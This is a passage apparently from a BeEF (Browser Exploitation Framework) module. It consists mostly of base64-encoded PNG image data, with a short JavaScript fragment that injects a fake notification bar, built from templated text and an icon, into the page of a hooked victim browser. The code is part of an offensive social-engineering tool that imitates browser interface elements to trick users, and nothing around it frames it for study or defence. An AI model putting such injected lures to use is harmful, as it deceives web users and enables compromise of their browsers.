/pMTMDo64G0sTCXIM+KdOnFWRfQKdJvQzV1+Bt8OokmrdtY2yhVX2a+qrykJfMq4Ml3VR4cVzTQVz+UoNne4vcKLoyS+gyKO6EHe+75Fdt0Mbe5bRIf/wjvrVmhbqBN97RD1vxrahvBOfOYzoosH9bq94uejSOQGkVM6sN/7HelL4t10t9F4gPdVzydEOx83Gv+uNxo7XyL/FtFl8z9ZAHF4bBsrEwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAW5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDQuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIj4KICAgICAgICAgPGRjOnN1YmplY3Q+CiAgICAgICAgICAgIDxyZGY6QmFnLz4KICAgICAgICAgPC9kYzpzdWJqZWN0PgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4K5T8NQQAAAE5JREFUGBmFTsENwEAIgg7T/efpMlRMMLafM1EBMUoAqoT0uE2Qd2NWbYOZJHOQHI0lfgQbEl64TLKZwdbasAd/3IZ9M4ZoxyfnxP5j4xfHNiMDVDlNEAAAAABJRU5ErkJggg==);'})\n        var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'});\n        $j('body').append(el);\n        var hid = '#'+id;\n        var hpid = '#'+pid;\n        $j(hid).append(elp);\n        $j(hpid).html(\"<%= @notification_text %>&nbsp;<img style='padding:0; margin:5px; position: absolute; top: 0;' src='data:image/png;base64,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